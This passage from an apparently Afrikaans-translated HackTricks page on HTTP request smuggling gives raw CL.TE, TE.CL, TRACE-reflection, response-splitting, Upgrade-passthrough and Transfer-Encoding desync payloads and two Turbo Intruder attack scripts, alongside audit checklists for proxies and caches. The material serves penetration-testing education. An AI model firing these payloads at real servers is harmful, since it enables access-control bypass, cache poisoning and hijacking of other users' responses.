Die attacker bou ’n gesmokkelde request wat sensitiewe user-spesifieke content haal. Oorweeg die volgende voorbeeld:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

As hierdie gesmokkelde versoek ’n cache-inskrywing vergiftig wat vir statiese inhoud bedoel is (bv. /someimage.png), kan die slagoffer se sensitiewe data van /private/messages moontlik onder die statiese inhoud se cache-inskrywing gestoor word. Gevolglik kan die attacker moontlik hierdie gecachede sensitiewe data herwin.

Misbruik van TRACE via HTTP Request Smuggling

In hierdie post word voorgestel dat indien die server die method TRACE geaktiveer het, dit moontlik kan wees om dit met ’n HTTP Request Smuggling te misbruik. Dit is omdat hierdie method enige header wat na die server gestuur word as deel van die body van die response sal reflekteer. Byvoorbeeld:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

Sal ’n response stuur soos:

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

’n Voorbeeld van hoe om hierdie gedrag te misbruik, sou wees om eers ’n HEAD request te smuggle. Hierdie request sal slegs met die headers van ’n GET request beantwoord word (Content-Type onder hulle). En smuggle onmiddellik ná die HEAD ’n TRACE request, wat die gestuurde data sal reflekteer.
Aangesien die HEAD response ’n Content-Length header sal bevat, sal die response van die TRACE request as die body van die HEAD response beskou word, en dus arbitrêre data in die response reflekteer.
Hierdie response sal na die volgende request oor die connection gestuur word, so dit kan byvoorbeeld in ’n cached JS file gebruik word om arbitrêre JS code in te spuit.

Misbruik TRACE via HTTP Response Splitting

Lees verder hierdie post waar ’n ander manier voorgestel word om die TRACE method te misbruik. Soos genoem, deur ’n HEAD request en ’n TRACE request te smuggle, is dit moontlik om sommige gereflekteerde data te beheer in die response na die HEAD request. Die lengte van die body van die HEAD request word basies aangedui in die Content-Length header en word gevorm deur die response op die TRACE request.

Daarom sou die nuwe idee wees dat, met kennis van hierdie Content-Length en die data wat in die TRACE response gegee word, dit moontlik is om die TRACE response ’n geldige HTTP response te laat bevat ná die laaste byte van die Content-Length, wat ’n attacker toelaat om die request na die volgende response heeltemal te beheer (wat gebruik kan word om ’n cache poisoning uit te voer).

Example:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

Sal hierdie antwoorde genereer (let op hoe die HEAD response ’n Content-Length het wat die TRACE response deel van die HEAD body maak en sodra die HEAD Content-Length eindig, word ’n geldige HTTP response gesmuggel):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

Weaponizing HTTP Request Smuggling met HTTP Response Desynchronisation

Het jy ’n HTTP Request Smuggling kwesbaarheid gevind en weet jy nie hoe om dit te exploiteer nie. Probeer hierdie ander metodes van uitbuiting:

HTTP Response Smuggling / Desync

Other HTTP Request Smuggling Techniques

  • Browser HTTP Request Smuggling (Client Side)

Browser HTTP Request Smuggling

  • Request Smuggling in HTTP/2 Downgrades

Request Smuggling in HTTP/2 Downgrades

Turbo intruder scripts

CL.TE

Van https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

Van: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Reverse-proxy parsing footguns (Pingora 2026)

Verskeie 2026 Pingora bugs is nuttig omdat hulle desync primitives buite klassieke CL.TE / TE.CL wys. Die herbruikbare les is: wanneer ’n proxy te vroeg ophou parse, Transfer-Encoding anders normaliseer as die backend, of terugval na read-until-close vir request bodies, kan jy FE↔BE desync kry selfs sonder ’n tradisionele CL/TE ambiguity.

Premature Upgrade passthrough

As ’n reverse proxy na raw tunnel / passthrough mode oorskakel sodra dit ’n Upgrade header sien, sonder om te wag dat die backend die switch bevestig met 101 Switching Protocols, kan jy ’n tweede request in dieselfde TCP stream smuggle:

GET / HTTP/1.1
Host: target.com
Upgrade: anything
Content-Length: 0

GET /admin HTTP/1.1
Host: target.com

Die front-end ontleed slegs die eerste request, en stuur dan die res as rou bytes deur. Die backend ontleed die aangehegte bytes as ’n nuwe request van die proxy se vertroude IP. Dit is veral nuttig om:

  • Proxy ACLs, WAF rules, auth checks, en rate limits te omseil.
  • Slegs-interne endpoints te bereik wat die reverse proxy IP vertrou.
  • cross-user response queue poisoning op hergebruikte backend connections te trigger.

Wanneer jy proxies audit, toets altyd of enige Upgrade-waarde passthrough trigger, en verifieer of die oorskakeling gebeur voor of die backend met 101 antwoord.

Transfer-Encoding normalisering bugs + HTTP/1.0 close-delimited fallback

Nog ’n nuttige patroon is:

  1. Die proxy sien dat Transfer-Encoding teenwoordig is, en stroop dus Content-Length.
  2. Die proxy misluk daarin om TE korrek te normaliseer.
  3. Die proxy het nou geen erkende framing en val terug na close-delimited request bodies vir HTTP/1.0.
  4. Die backend verstaan TE korrek en behandel bytes ná 0\r\n\r\n as ’n nuwe request.

Gewone maniere om dit te trigger:

  • Komma-geskeide TE-lys word nie gepars nie:
GET / HTTP/1.0
Host: target.com
Connection: keep-alive
Transfer-Encoding: identity, chunked
Content-Length: 29

0

GET /admin HTTP/1.1
X:
  • Duplicate TE headers not merged:
POST /legit HTTP/1.0
Host: target.com
Connection: keep-alive
Transfer-Encoding: identity
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: target.com
X:

Die belangrike ouditkontroles is:

  • Ontleed die front-end die laaste TE-token, soos vereis wanneer chunked laaste is?
  • Gebruik dit al die Transfer-Encoding headers in plaas van net die eerste een?
  • Kan jy HTTP/1.0 forseer om ’n read-until-close body mode te aktiveer?
  • Laat die proxy ooit close-delimited request bodies toe? Dit is op sigself ’n hoëwaarde desync-smell.

Hierdie klas lyk dikwels van buite af soos CL.TE, maar die werklike primitive is: TE present –> CL stripped –> no valid framing recognized –> request body forwarded until close.

Verwante cache poisoning primitive: path-only cache keys

Dieselfde Pingora-oudit het ook ’n gevaarlike reverse-proxy cache anti-pattern ontbloot: om die cache key slegs uit die URI path af te lei, terwyl Host, scheme, of port geïgnoreer word. In multi-tenant of multi-vhost deployments kan verskillende hosts dan op dieselfde cache entry bots:

GET /api/data HTTP/1.1
Host: evil.com
GET /api/data HTTP/1.1
Host: victim.com

As beide requests na dieselfde cache key (/api/data) map, kan een tenant content vir ’n ander poison. As die origin die Host header in redirects, CORS, HTML, of script URLs reflekteer, kan ’n lae-waarde Host reflection cross-user stored cache poisoning word.

Wanneer caches hersien word, bevestig dat die key ten minste insluit:

  • Host / virtual host identity
  • scheme (http vs https) wanneer gedrag verskil
  • port wanneer verskeie applications dieselfde cache namespace deel

Tools

References

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Blaai deur die volledige HackTricks Training-katalogus vir die assesseringsroetes (ARTA/GRTA/AzRTA) en Linux Hacking Expert (LHE).

Ondersteun HackTricks